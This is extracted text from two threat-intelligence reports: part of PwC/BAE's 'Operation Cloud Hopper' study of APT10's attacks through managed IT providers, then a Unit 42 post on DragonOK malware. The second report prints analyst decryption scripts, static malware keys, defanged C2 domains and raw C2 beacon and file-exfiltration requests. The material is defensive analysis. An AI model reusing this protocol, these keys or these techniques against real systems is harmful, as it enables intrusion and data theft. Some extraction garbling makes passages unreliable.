relating to manufacturing metrics, and production line information and costs. It is thought to have been targeted strategically at a time when Chinese manufacturers of solar products were seeking to enter the US market at below fair value prices. 2013: Operation Iron Tiger is an attack campaign attributed to APT31, in which US government contractors were targeted in the areas of technology, telecommunications, energy and manufacturing. 2010 2009: Three medical device makers (Medtronic, Boston Scienti St. Jude Medical) were allegedly compromised by Chinese actors. Although the motive is unclear, patient data was not thought to be stolen, making industrial espionage the most likely intention. 2011 2012 2014-15: The personal data of over 20 million people was compromised from the US Of ce of Personnel Management and attributed to China-based actors. This included Social Security numbers as well as security clearance and job applications for government positions. 2013 2014: The data of 4.5 million members of US-based healthcare organisation, Community Health Systems was potentially accessed during a breach attributed to APT18. 2014-15: Several healthcare were targeted Anthem, Premera Blue Cross and CareFirst all suffered data breaches in 2015. These were linked to APT19. 2014 2015 Operation Cloud Hopper Operation Cloud Hopper APT10 alignment with previous China-based hacking Espionage attacks associated with China-based threat actors, as noted above, have traditionally targeted organisations that are of strategic value to Chinese businesses and where intellectual property obtained from such attacks could facilitate domestic growth or advancement. There has been significant open source reporting which has documented the alignment between apparent information collection efforts of China-based threat actors and the strategic emerging industries documented in China s Five Year Plan (FYP).10 The 13th FYP was released in March 2016 and the sectors and organisations known to be targeted by APT10 are broadly in line with the strategic aims documented in this plan. These aims outlined in the FYP will largely dictate the growth of businesses in China and are, therefore, likely to also form part of Chinese companies business strategies. The latest FYP describes five principles which underpin China s goal of doubling its 2010 GDP by 2020. At the forefront of these principles is innovation, largely focused around technological innovation, with China expected to invest 2.5% of GDP in research and development to attain technological advances, which are anticipated to contribute 60% towards economic growth objectives.11 The areas of innovation expected to receive extensive investment include, next-generation communications, new energy, new materials, aerospace, biological medicine and smart manufacturing. In addition to the FYP principle of innovation, China is also promoting ten key industries in which it wants to improve innovation in manufacturing as part of the Made in China 2025 initiative.12 Figure 13: Industries of interest outlined by Made in China 2025 initiative Agricultural machinery Next generation information technology Numeric control tools and robotics Medicine medical devices Aerospace equipment Made in China 2025 industries Ocean engineering equipment and high-tech ships materials Power equipment Energy saving and new energy vehicles Railway equipment Observed APT10 targeting is in line with many of the historic compromises we have outlined previously as originating from China. This targeting spans industries that align with China 13th FYP which would provide valuable information to advance the domestic innovation goals held within China. Given the broad spectrum of priority industries, the compromise of MSPs represents an efficient method of information collection. This strategy also provides additional obfuscation for the actor as any data exfiltrated is taken back through the initial compromised company s systems, creating a much more difficult trail to follow. 10 https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf 11 https://www.pwccn.com/en/migration/pdf/govt-work-review-mar2016.pdf 12 http://www.pwccn.com/en/migration/pdf/prosperity-masses-2020.pdf Operation Cloud Hopper Shining a light on APT10 s methodology sto m er Data of interest to APT10 is accessed by the threat actor moving laterally through systems custom Compressed les lled with stolen data are moved from the MSP customer s network back onto the MSP network Targ ted D ata MSP customer data collected by APT and compressed, ready for ex ltration from the network io n MSP customers who align to APT10 targeting pro le are accessed by the threat actor using the MSPs legitimate access APT10 ex ltrates stolen data back through MSPs to infrastructure controlled by the threat actor APT10 APT10 compromises Managed IT Service Providers geted MS r e x This section details changes made to APT10 tools, techniques and procedures (TTPs) post-2014, following its shift from Poison Ivy to PlugX. These TTPs have been identified as part of our incident response and threat intelligence investigations and have been used in both of the recent campaigns we have encountered. The examples provided in this section will be drawn from both of those campaigns. Figure 14: Decoy document used by APT10 to target the Japanese education sector Reconnaissance and targeting It is often difficult to identify the early stages of a threat actor s preparation for an attack as these initial activities tend to occur below the line of visibility. Our analysis of the most recently used decoy documents by APT10 in its spear phishing campaigns, which is the primary delivery method of its payloads, indicates the actor performs a significant level of research on its targets. In line with commonly used APT actor methodologies, the threat actor aligns its decoy documents to a topic of interest relevant to the recipient. In the example shown in Figure 14 to the right, an official document hosted on the Japan Society for the Promotion of Science website was weaponised and deployed as part of a spear phishing campaign against a Japanese target in the education sector. Operation Cloud Hopper APT10 has been known to use research from their reconnaissance to obtain company email addresses, and then craft a message containing either a malicious attachment or a link to a malicious site. Figure 15: Timelineof ofAPT10 APT10 related activities Summary activity 2014 Targets East Asian manufacturer and Japanese Public Policy organisations 2009 Group rst detected targeting Western defence companies 2009 Q4 2014 Targets European organisations 2013 Legend APT10 activity Other events Q1 2017 APT10 sustains targeting of European organisations 2014 2016 August 2013 FireEye - Poison Ivy: Assessing damage and extracting intelligence As part of the same campaign, we have also observed an email sent by APT10,13 referencing a Scientific Research Grant Program, and targeting various Japanese education institutes including Meiji University14 and Chuo University.15 The email included a zip file containing a link to download a payload from one of APT10 s servers, the ChChes Powersploit exploit, detailed in Annex B. Initial compromise and lateral movement Once on a target network, the actor rapidly deploys malware to establish a foothold, which may include one or more systems that provide sustained access to a victim s network. As APT10 works to gain further privileges and access, it also conducts internal reconnaissance, mapping out the network using common Windows tools, and in later stages of the compromise using open source pentesting tools, detailed in Annex B. This reconnaissance is run in parallel with the actor ensuring that it has access to legitimate credentials. We have observed that in cases where APT10 has infiltrated a target via an MSP, it continues to use the MSPs credentials. In order to gain any further credentials, APT10 will usually deploy credential theft tools such as mimikatz or PwDump, sometimes using DLL load order hijacking, to use against a domain controller, explained further in Annex B. Regular communications checks are then executed in order to maintain this level of access. In most cases, these stolen MSP credentials have provided administrator or domain administrator privileges. We have observed the threat actor copying malware over to systems in a compromised environment, which did not have March 2014 Trend Micro & FireEye release reports on links between APT1 and APT10 2017 Q4 2016 Targets Japanese organisations any outbound internet access. In one of these instances, the threat actor spent more than an hour attempting to establish an outbound connection using PlugX until it realised that the host had no internet access, at which point the malware and all supporting files were deleted. APT10 achieves persistence on its targets primarily by using scheduled tasks or Windows services in order to ensure the malware remains active regardless of system reboots. APT10 heavily leverages the shared nature of client-side MSP infrastructure to move laterally between MSPs and other victims. Systems that share access and thus credentials, from both a MSP and one of its clients serve as a way of hopping between the two. Figure 16: Client MSP shared infrastructure t in frastructure P infrastructu Systems sharing credentials across the client and the MSP are of particular interest to APT10, and are commonly used by the threat actor in order to gain access to new areas of the network 13 http://csirt.ninja/?p=1103 14 http://www.meiji.ac.jp/isc/information/2016/6t5h7p00000mjbbr.html 15 http://www.chuo-u.ac.jp/research/rd/grant/news/2017/01/51783/ Operation Cloud Hopper APT10 simultaneously targets both low profile and high value systems to gain network persistence and a high level of access respectively. For example, in addition to compromising high value domain controllers and security servers, the threat actor has also been observed identifying and subsequently installing malware on low profile systems that provide non-critical support functions to the business, and are thus less likely to draw the attention of system administrators. As part of the long-term access to victim networks, we have observed APT10 consistently install updates and new malware on compromised systems. In the majority of instances APT10 used either a reverse shell or RDP connection to install its malware; the actor also uses these methods to propagate across the network. Using these techniques, APT10 pushes data from victim networks to other networks they have access to, such as other MSP or victim networks, then, using similar methods, pulls the data from those networks to locations from which they can directly obtain it, such as the threat actor s C2 servers. APT10 s ability to bridge networks can therefore be summarized as: Use of legitimate MSP credentials to management systems which bridge the MSP and multiple MSP customer networks; Use of RDP to interactively access systems in both the MSP management network and MSP customer networks; Use of t.vbs to execute command line tools; and, Use of PSCP and Robocopy to transfer data. Communication checks are usually conducted using native Windows tools such as ping.exe, net.exe and tcping.exe. The actor will frequently net use to several machines within several seconds, connecting for as little as five seconds, before disconnecting. Further details are provided in Annex B. Network hopping and exfiltration Once APT10 have a foothold in victim networks, using either legitimate MSP or local domain credentials, or their sustained malware such as PlugX, RedLeaves or Quasar RAT, they will begin to identify systems of interest. The operator will either access these systems over RDP, or browse folders using Remote Access Trojan (RAT) functionality, to identify data of interest. This data is then staged for exfiltration in multi-part archives, often placed in the Recycle Bin, using either RAR or TAR. The compression tools are often launched via a remote command execution script which is regularly named t.vbs and is a customised version of an open source WMI command executor which pipes the command output back to the operator. We have observed these archives being moved outside of the victim networks, either back into to the MSP environments or to external IP addresses in two methods, which are also performed via the command line using t.vbs: 1. Mounting the target external network share with net use and subsequently using the legitimate Robocopy tool to transfer the data; and, 2. Using the legitimate Putty Secure Copy Client (PSCP), sometimes named rundll32.exe, to transfer the data directly to the third party system. Operation Cloud Hopper APT10 malware We classify APT10 s malware into two distinct areas: tactical and sustained. The tactical malware, historically EvilGrab, and now ChChes (and likely also RedLeaves), is designed to be lightweight and disposable, often being delivered through spear phishing. Once executed, tactical malware contains the capability to profile the network and manoeuvre through it to identify a key system of interest. The sustained malware, historically Poison Ivy, PlugX and now Quasar provides a more comprehensive feature set. Intended to be deployed on key systems, the sustained malware facilitates long-term remote access and allows for operators to more easily carry out administration tasks. Since late 2016, we have seen the threat actor develop several bespoke malware families, such as ChChes and RedLeaves. Additionally, it has taken the open source malware, Quasar, and extended its capabilities, ensuring the incrementation of the internal version number as it does so. We have also observed APT10 use DLL search order hijacking and sideloading, to execute some modified versions of open-source tools. For example, PwC UK has observed APT10 compiling DLLs out of tools, such as MimiKatz and PwDump6, and using legitimate, signed software, such as Windows Defender to load the malicious payloads. In Annex B we provide detailed analysis of several of the threat actor s tools as well as the common Windows tools we have observed being used. Timeline Figure 17: Timeline of APT10 malware use 2009 2010 2011 2012 2013 2014 2015 2016 2017 Poison Ivy PlugX EvilGrab ChChes Quasar RedLeaves Retooling Efforts Alongside APT10 s TTPs, we have observed a retooling cycle. Given the pace of technological change and the wide range of freely available online tools and scripts, it is not unusual for an actor to re-evaluate its capabilities and to benchmark multiple offerings against each other. We have observed a decline in the deployment of some of APT10 s traditional core tool set, and witnessed an increase in the development and deployment of additional new tools which combine in-house development and open source projects. We assess that this is highly likely due to the public release of APT10 malware by cyber security vendors. During our analysis of victim networks, we were able to observe APT10 once again initiate a retooling cycle in late 2016. We observed the deployment and testing of multiple versions of Quasar malware,16 and the introduction of the bespoke malware families ChChes and RedLeaves. We assess it is highly likely that due to the frequent public release of information linking PlugX with China-based threat actors, continual long-term use had become unsustainable, introducing an additional operational overhead that is easily attributable to China-based threat actors. Throughout our investigations, we have observed multiple deployments of the PlugX malware from 2014 to at least 2016. This, along with the downturn in the use of Poison Ivy, supports the notion that a major retooling operation took place post 2014. Additional analysis of the infrastructure associated with each distinct version of PlugX also shows an increase in maturity over time. Earlier PlugX versions were configured with legacy domains and IP addresses, which were originally isolated and more obvious, whereas more recent versions have demonstrated a standardised convention for domain names and IP selection. 16 https://github.com/quasar/QuasarRAT Operation Cloud Hopper Conclusion APT10 is a constantly evolving, highly persistent China-based threat actor that has an ambitious and unprecedented collection programme against a broad spectrum of sectors, enabled by its strategic targeting. Since exposure of its operations in 2013, APT10 has made a number of significant changes intended to thwart detection of its campaigns. PwC UK and BAE Systems, working closely with industry and government, have uncovered a new, unparallelled campaign which we refer to as Operation Cloud Hopper. This operation has targeted managed IT service providers, the compromise of which provides APT10 with potential access to thousands of further victims. An additional campaign has also been observed targeting Japanese entities. APT10 s malware toolbox shows a clear evolution from malware commonly associated with China-based threat actors towards bespoke in-house malware that has been used in more recent campaigns; this is indicative of APT10 increasing sophistication, which is highly likely to continue. The threat actor s known working hours align to Chinese Standard Time (CST) and its targeting corresponds to that of other known China-based threat actors, which supports our assessment that these campaigns are conducted by APT10. This campaign serves to highlight the importance of organisations having a comprehensive view of their threat profile, including that of their supply chain s. More broadly, it should also encourage organisations to fully assess the risk posed by their third party relationships, and prompt them to take appropriate steps to assure and manage these. A detailed technical annex supplements this main report, which provides further information about the tools and techniques used by APT10 and contains Indicators of Compromise relating to all of this threat actor s known campaigns. These have already been provided to the National Cyber Security Centre for dissemination through their usual channels. Operation Cloud Hopper Appendices Operation Cloud Hopper Appendix A Collaboration between PwC UK and BAE Systems PwC and BAE Systems respective Threat Intelligence teams share a mutual interest in new cyber threats. PwC and BAE Systems partnered through their membership of the Cyber Incident Response (CIR) scheme to share intelligence and develop the most comprehensive picture possible of this threat actor s activities. Information sharing like this underpins the security research community and serves to aid remediation and inform decisions that companies make about their security needs. Probabilistic language Interpretations of probabilistic language (for example, likely or almost certainly ) vary widely, and to avoid misinterpretation we have used the following qualitative terms within this report when referring to the level of confidence we have in our assessments. Unless otherwise stated, our assessments are not based on statistical analysis. Table 4: Probabilistic language Qualitative term Associated probability range Remote or highly unlikely Less than 10% Improbable or unlikely 10-25% Realistic probability 26-50% Probable or likely 51-75% Highly probable or highly likely 76-90% Almost certain More than 90% Operation Cloud Hopper Appendix B PwC UK reporting PwC UK Threat Intelligence has previously published a range of APT10 related reporting, both in the public domain and via our subscription service. These reports are as follows: APT10 resumes operations with a vengeance, in Threats Under the Spotlight CTO-TUS-20170321-01A NetEaseX and the Secret Key to Lisboa CTO-TIB20170313-01A BlackDLL APT10 s .NET Foray CTO-TIB-20170301-01B Quasar APT10 pauses for Chinese New Year, in Threats Under the Spotlight CTO-TUS-20170220-01A CVNX s sting in the tail CTO-TIB-20170123-01A ChChes (Scorpion) Malware China and Japan: APT to dispute -CTO-SIB-2017011901A Taiwan Presidential Election: A Case Study on Thematic Targeting, http://pwc.blogs.com/cyber_ security_updates/2016/03/taiwant-election-targetting. html, published 2016-03-17. Overview of EvilGrab and it being used against Asian targets, specifically around the 2016 Taiwanese election Scanbox II CTO-TIB-20150223-01A IST-Red Apollo-002 Red Apollo Tearsheet Third party reports A number of organisations have also published related reporting, as follows: RedLeaves Malware Based on Open Source RAT http://blog.jpcert.or.jp/2017/04/redleaves---malwarebased-on-open-source-rat.html Further technical reporting on RedLeaves, revealing links to an open source RAT. The relevance between the attacker group menuPass and malware (Poison Ivy, PlugX, ChChes), https:// www.lac.co.jp/lacwatch/people/20170223_001224.html, published 2017-02-23. Links APT10 to ChChes, Poison Ivy and PlugX. menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations, http://researchcenter.paloaltonetworks. com/2017/02/unit42-menupass-returns-new-malwarenew-attacks-japanese-academics-organizations/, published 2017-02-16. APT10 attacks on Japanese academics. Includes info on ChChes (technical), Poison Ivy and PlugX. ChChes Malware that Communicates with C&C Servers Using Cookie Headers, http://blog.jpcert.or. jp/2017/02/chches-malware--93d6.html, published 2017-02-15. Technical overview of ChChes malware with IOCs. PlugX TrendMicro tearsheet , https://www. trendmicro.com/vinfo/us/threat-encyclopedia/malware/ plugx, published 2016-09-07. Technical info and IOCs for PlugX. A Detailed Examination of the Siesta Campaign, https://www.fireeye.com/blog/ threat-research/2014/03/a-detailed-examination-of-thesiesta-campaign.html, published 2014-03-12. Provides a detailed analysis of activity dubbed the Siesta campaign. POISON IVY: Assessing Damage and Extracting Intelligence, https://www.fireeye.com/content/dam/ fireeye-www/global/en/current-threats/pdfs/rpt-poisonivy.pdf, published 2013-08-21. Technical report on Poison Ivy and campaigns that have used it, including menuPass. EvilGrab Malware Family Used In Targeted Attacks In Asia, http://blog.trendmicro.com/trendlabs-securityintelligence/evilgrab-malware-family-used-in-targetedattacks-in-asia/, published 2013-09-18. Technical overview of EvilGrab. CrowdCasts Monthly: You Have an Adversary Problem, https://www.slideshare.net/CrowdStrike/crowd-castsmonthly-you-have-an-adversary-problem, published 2013-10-16, a presentation on Chinese actors including APT, crime and hacktivist. Includes section on Stone Panda (APT10). PlugX: New Tool For a Not So New Campaign, http:// blog.trendmicro.com/trendlabs-security-intelligence/ plugx-new-tool-for-a-not-so-new-campaign/, published 2012-09-10. Gives an introduction to PlugX. Pulling the Plug on PlugX, https://www.trendmicro. com/vinfo/us/threat-encyclopedia/web-attack/112/ pulling-the-plug-on-plugx, published 2012-08-04. Gives a technical overview of PlugX and what it is used for. Operation Cloud Hopper About PwC At PwC, our purpose is to build trust in society and solve important problems. We re a network of firms in 157 countries with more than 223,000 people who are committed to delivering quality in assurance, advisory and tax services. PwC UK s cyber security team is a part of this mission, helping clients around the world to assess, build and manage their cyber security capabilities and to identify and respond to incidents through a range of services including threat intelligence, threat detection and incident response. We are BAE Systems At BAE Systems, we provide some of the world s most advanced technology defence, aerospace and security solutions. At BAE Systems Applied Intelligence, we help nations, governments and businesses around the world defend themselves against cybercrime, reduce their risk in the connected world, comply with regulation, and transform their operations. We do this using our unique set of solutions, systems, experience and processes often collecting and analysing huge volumes of data. This publication has been prepared for general guidance on matters of interest only, and does not constitute professional advice. You should not act upon the information contained in this publication without obtaining specific professional advice. No representation or warranty (express or implied) is given as to the accuracy or completeness of the information contained in this publication, and, to the extent permitted by law, PricewaterhouseCoopers LLP, its members, employees and agents do not accept or assume any liability, responsibility or duty of care for any consequences of you or anyone else acting, or refraining to act, in reliance on the information contained in this publication or for any decision based on it. 2017 PricewaterhouseCoopers LLP. All rights reserved. In this document, refers to the UK member firm, and may sometimes refer to the PwC network. Each member firm is a separate legal entity. Please see www.pwc.com/structure for further details. 170328-155605-GC-UK DragonOK Updates Toolset and Targets Multiple Geographic Regions researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/ By Josh Grunzweig 1/5/2017 The DragonOK group has been actively launching attacks for years. We first discussed them in April 2015 when we witnessed them targeting a number of organizations in Japan. In recent months, Unit 42 has observed a number of attacks that we attribute to this group. Multiple new variants of the previously discussed sysget malware family have been observed in use by DragonOK. Sysget malware was delivered both directly via phishing emails, as well as in Rich Text Format (RTF) documents exploiting the CVE-2015-1641 vulnerability (patched in MS15-033) that in turn leveraged a very unique shellcode. Additionally, we have observed instances of the IsSpace and TidePool malware families being delivered via the same techniques. While Japan is still the most heavily targeted geographic region by this particular actor, we also observed instances where individuals or organizations in Taiwan, Tibet, and Russia also may have been targeted. Infiltration We observed two unique techniques of infiltration for this particular campaign: 1. Phishing emails being sent with malicious executables directly attached 2. Malicious RTF files which exploit CVE-2015-1641. The phishing emails had the following characteristics: Email Subjects Pickup at the Juanda Airport (1-Sep) [Roughly Translated: Point gift announcement] [Roughly Translated: 20th Anniversary Party] [Roughly Translated: List of participants 10th anniversary alumni association] [Roughly Translated: Children s investigation] G20 report [Roughly Translated: Anniversary reunion] [Roughly Translated: Recent personnel change notice] Attachment Filenames G20 report.exe List of Participants.exe Registration form.exe These emails targeted the following industries in Japan: Manufacturing 1/23 Higher Education Energy Technology Semiconductor The malicious RTF files in question leverage a very specific shellcode to drop and execute the malicious payload, as well as a decoy document. Decoy documents are legitimate benign documents that are opened after the malicious payload is delivered, thus ensuring that the victim does not become suspicious because their expected document opened as expected. Two samples were found to include the decoy document show in Figure 1. The title of the document roughly translates to Ministry of Communications & Departments Authorities Empty Sites and Hosted Public Works Source Clearance Photos . The use of traditional Chinese indicators the target likely residing in either Taiwan, Hong Kong, or Macau. However, based on the Taiwanese subject matter in this document, we can safely come to the conclusion that the intended victim was of Taiwanese origin. These samples delivered an updated version of the IsSpace malware family, which was discussed previously in a watering hole attack targeting an aerospace firm. IsSpace is an evolved variant of the NFlog backdoor, which has been used by DragonOK in the past. 2/23 Figure 1 Taiwanese decoy document 3/23 Two other samples were identified that used a Tibet-themed decoy document. The document in question (Figure 2) appears to be an internal newsletter from the Central Tibetan Ministry, as suggested by the logo used as well as the content of the document itself. This document indicates that the malware may have been targeted towards an individual that is interested in Tibetan affairs. These particular samples were unique in that they delivered the TidePool malware family that we reported on in May of 2016. We have not previously observed DragonOK using TidePool in attacks. Figure 2 Tibetan decoy document containing internal newsletter We also identified an additional sample using decoy targeting Taiwanese victims (Figure 3), which deployed a newer sysget sample. 4/23 Figure 3 Taiwanese-targeted decoy document Other new samples associated with this group used a Russian language decoy document (Figure 4.) The decoy document in question discusses the GOST block cipher, which was created by the Russian government in the 1970 s. The combination of Russian language and Russian-specific subject matter indicates that the intended victim speaks Russian and may be interested in encryption. Like the previously discussed Tibetan decoy documents, these samples also delivered the TidePool malware family. 5/23 6/23 Figure 4 Russian decoy document discussing the GOST block cipher Finally, multiple samples used a traditional Chinese language decoy document that discussed a subsidy welfare adjustment program. The use of traditional Chinese indicators the target likely residing in either Taiwan, Hong Kong, or Macau. Similar to other attacks witnessed, a variant of the sysget malware family is installed by these files. 7/23 Figure 5 Decoy document discussing subsidy welfare adjustment program Malware Deployed In looking at the various malware samples used in attempted attacks, the following four families were identified: Sysget version 2 Sysget version 3 TidePool IsSpace We broke the sysget classification into multiple variants when we found that a number of changes have been made since our April 2015 report. Major distinctions between the versions of sysget include the following: Sysget version 2 Removed support for persistence on Windows XP Reworked the URIs used for network communication Added additional layers of encryption for network communication and stored configuration files Switched from RC4 to AES-128 Sysget version 3 Numerous anti-debug and anti-vm procedures added Encrypted URIs in network communication with an initial static key In addition, we observed a sysget version 4 that was discovered in another sample during our research. This version is not attributed to a specific attack against an organization. Indicators of compromise related to sysget version 4 and other samples not directly attributed to specific attacks may be found in the Appendix of this blog post. Additionally, more information about the various sysget variants may also be found in the Appendix. The TidePool samples encountered are consistent with the samples previously discussed. I encourage readers to view our previous blog post to learn more about the intricacies of this particular malware family. The IsSpace malware sample, however, looks to have been updated since last we wrote on it. While the available commands from the command and control (C2) server remains the same, the URI structure of the network communication has been modified. Additionally, the installation routine for this malware family has been updated to be far less complex than previous discussed versions, favoring PowerShell to set persistence and forgoing the previously used side-loading technique. A more detailed analysis of the new instances of IsSpace may be found at the end of this blog post in the Appendix. Infrastructure A number of unique domains were employed by the various Trojans used in these attacks. For the numerous instances of sysget we observed, the following domains were observed for their C2: kr44.78host[.]com gtoimage[.]com 8/23 gogolekr[.]com All of the above domains have Chinese WHOIS registrant details. Additionally, the gotoimage[.]com and trend.gogolekr[.]com are both registered to the same registrant and resolve to the same netblock of 104.202.173.0/24. The instances of TidePool identified communicated with the following C2 servers: europe.wikaba[.]com russiaboy.ssl443[.]org cool.skywave[.]top These domains did not have many definitive relations with the sysget C2 servers except for cool.skywave[.]top, which shared a unique registrant email with the sysget C2 server of trend.gogolekr[.]com. Additionally, the geographic region of the resolved IPs was consistent with the previous set, as they all resolved to various regions in southeast Asia. Specifically, the domains resolved to China, Korea, and Taiwan in the past six months. The IsSpace samples resolved to the following domains: www.dppline[.]org www.matrens[.]top These domains had no apparent connections to the previously discussed C2 servers, other than the fact that they resolved to Korea and Hong Kong respectively. Additionally, the registrar of Jiangsu Bangning Science and technology Co. Ltd. was used for a large number of domains. A full graph of the relations between the various attacks is shown in Figure 6. Figure 6 Relationships between attacks 9/23 Conclusion The DragonOK group are quite active and continue updating their tools and tactics. Their toolset is being actively developed to make detection and analysis more difficult. Additionally, they appear to be using additional malware toolsets such as TidePool. While Japan is still the most-targeted region by this group, they look to be seeking out victims in other regions as well, such as Taiwan, Tibet, and Russia. Palo Alto Network customers are protected against this threat in the following ways: Malware families are tagged in AutoFocus via a variety of tags ( TidePool, NFlog, Sysget) The following IPS signatures detect malicious network traffic: IPS signature 14365 (IsSpace.Gen Command And Control Traffic) IPS signature 14588 (Suspicious.Gen Command And Control Traffic) IPS signature 13574 (NfLog.Gen Command And Control Traffic) IPS signature 13359 (Nflog.Gen Command And Control Traffic) All samples are appropriately marked malicious in WildFire Appendix CVE-2015-1641 Exploit and Shellcode This particular group uses a very specific shellcode payload when exploiting CVE-2015-1641. This CVE is memory corruption vulnerability which allows for arbitrary code execution in various versions of Microsoft Office, including 2007, 2010, and 2013. The shellcode begins by dynamically loading a small number of API functions from kernel32. A number of hashes are included that represent function names, which have a rotate right 7 (ROR7) operation applied against them before being XORed against a key of \x10\xAD\xBE\xEF . The ROR7 operation is a very common technique in shellcode to obfuscate what functions are being called. The author added the XOR operation to add another layer of obfuscation. Figure 7 API function hashes contained in shellcode 10/23 After the shellcode loads the necessary API functions, it proceeds to seek out a number of markers that will mark the beginning and ending of both an embedded malicious payload, as well as a decoy document. The malicious executable is marked with a starting point of 0xBABABABABABA and an end marker of 0xBBBBBBBB. The decoy document is found immediately after the end of the malicious payload, and has an end marker of 0xBCBCBCBC. Both executables are encrypted with a 4-byte XOR key. Should the original data contain 0x00000000, it will not have the XOR applied against it. The malicious payload is XORed against a key of 0xCAFEBEEF and the decoy document is XORed against 0xBAADF00D. The following script may be applied against the RTF document to extract both the malicious payload and the decoy: import sys, binascii from itertools import cycle, izip import re def xor(message, key): return ''.join(chr(ord(c)^ord(k)) for c,k in izip(message, cycle(key))) def decrypt(data, key): output = "" iteration = 4 position = 0 while True: window = data[position:position+iteration] if window == "\x00\x00\x00\x00": output += window else: output += xor(window, key) position += iteration if position == len(data) or position > len(data): break return output def extract(data): exe_data, doc_data = None, None exe_starting_point = data.index("\xBA\xBA\xBA\xBA\xBA\xBA") + 6 exe_ending_point = None ending_points = [m.start() for m in re.finditer("\xBB\xBB\xBB\xBB", data)] for e in ending_points: if e > exe_starting_point: exe_ending_point = e if exe_starting_point and exe_ending_point: mz_data = data[exe_starting_point:exe_ending_point] exe_data = decrypt(mz_data, "\xBE\xBA\xFE\xCA") else: raise Exception("Unable to find correct offsets for executable." ) doc_starting_point = exe_ending_point + 4 doc_ending_point = None ending_points = [m.start() for m in re.finditer("\xBC\xBC\xBC\xBC", data)] for e in ending_points: if e > doc_starting_point: doc_ending_point = e if doc_starting_point and doc_ending_point: 11/23 doc = data[doc_starting_point:doc_ending_point] doc_data = decrypt(doc, "\x0D\xF0\xAD\xBA") else: raise Exception("Unable to find correct offsets for document.") return [exe_data, doc_data] def main(): input_file = sys.argv[1] input_fh = open(input_file, 'rb') input_data = input_fh.read() input_fh.close() exe, doc = extract(input_data) filename = "{}.exe".format(input_file) output_file = open(filename, 'wb') output_file.write(exe) output_file.close() print "[+] Wrote {}".format(filename) filename = "{}.doc".format(input_file) output_file = open(filename, 'wb') output_file.write(doc) output_file.close() print "[+] Wrote {}".format(filename) if len(sys.argv) == 2 and __name__ == "__main__": main() When both files are decrypted, they are written to the following location in the %TEMP% directory: ../..exe ../..doc Note the initial , which represents the parent directory of %TEMP%. This coupled with the unusual names of ..exe and ..doc make this particular shellcode very unique, which is one way we have attributed these samples to the same group. After the samples have been written, they are executed via calls to WinExec. Sysget v2 Analysis One of the fundamental changes witnessed in the second iteration of sysget is removing support for Windows XP and lower. Other changes include modifications to the URIs used for network communication. Like the original version of sysget, sysget v2 still uses a named event of mcsong[] to ensure a single instance is running at a time. It proceeds to make attempts at copying itself to the %STARTUP%/notilv.exe path. However, it uses COM objects to perform this action that is not available in Windows XP, which prevents the malware from installing itself to this location. While the remainder of the malware operates as expected, it will not survive a restart of the system. Sysget proceeds to make an attempt at reading the following configuration file. This filename and path has changed since the original version, and is consistent in the subsequent versions. %APPDATA%/vklCen5.tmp This configuration file holds both a unique victim identifier, as well as a key that is used to encrypt HTTP traffic. It is 12/23 encrypted using the AES-128 encryption algorithm, using a static key of 734thfg9ih . Using AES-128 is a change from the previous version, where RC4 was used for all encryption operations. The following Python code may be used to decrypt this file: import sys import base64 from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptDecrypt def decrypt(data, original_key): CALG_AES_128 = 0x660E CALG_MD5 = 0x8003 md5_hasher = CryptCreateHash(CALG_MD5) CryptHashData(md5_hasher, original_key) key = CryptDeriveKey(md5_hasher, CALG_AES_128) decrypted_data = CryptDecrypt(key, data) return decrypted_data arg = open(sys.argv[1], 'rb').read() print repr(decrypt(arg, '734thfg9ih')) When executed against an example configuration file, we see the following output, which includes the two pieces of data noted previously: C:\>python decrypt_config.py vklCen5.tmp 'gh1443717133\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x001059086204\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' The encryption of this configuration file is a new feature that was not present in the original version of sysget. If this file is not present on the system, the malware will attempt to retrieve the necessary information via a HTTP request. The following request is made to the remote command and control server. Note that the full URI is statically set by the malware sample. GET /index.php?type=read&id=1420efbd80ce02328663631c8d8f813c&pageinfo=jp&lang= utf-8 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 Host: hello.newtaiwan[.]top The server responds with the following data, encrypted using the same technique previously described with a static key of aliado75496 . Once decrypted, we see the following example data being sent back to sysget: gh1443717133\n1059086204\n The first string is used as a key for all subsequent network communication. The second string is treated as a unique victim identifier. This data is encrypted using the key of 734thfg9ih and written to the %APPDATA%/vklCen5.tmp file. After this information has been obtained, the malware proceeds to enter its command and control loop. An HTTP request such as the following is made to the remote server. Note that the GET variable holds the MD5 hash of the previously obtained victim identifier. The remaining data in the URI is hardcoded. 13/23 GET /index.php?type=get&pageinfo=bridge03443&lang=jp&mid=5717cb8fed2750a2ee9e8 30a30716ed4 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 Host: hello.newtaiwan[.]top The response is encrypted using the unique key that was obtained previously. Should the response contain Fatal error unencrypted, no further actions are taken by the malware sample. Once decrypted, the response may have one of the following two choices, and their accompanying purpose. Alternatively, if a raw command is provided, the malware will execute it and return the results. Command Description goto wrong [file_path] Read a specific file and return its contents. goto right [filename] [identifier] Write a given file. The identifier is used to retrieve the file s contents in a subsequent HTTP request. When the goto wrong request is made, a HTTP POST request is made to the following URI. In the following URI, the list parameter contains the MD5 hash of the victim s identifier. /index.php?type=register&pageinfo=myid32987&list=5717cb8fed2750a2ee9e830a3 0716ed4 The contents of this POST request contains the victim s identifier, as well as the file s contents encrypted with the unique key. The first 50 bytes are reserved for the victim identifier, as shown below: 0000016F 35 37 31 37 63 62 38 66 65 64 32 37 35 30 61 32 5717cb8f ed2750a2 0000017F 65 65 39 65 38 33 30 61 33 30 37 31 36 65 64 34 ee9e830a 30716ed4 0000018F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........ 0000019F 00 00 4b 59 bc 53 53 99 2b 6f a7 b5 5a 85 c7 66 ..KY.SS. +o..Z..f Once decrypted, the data contains both the filename, as well as the contents of that file. 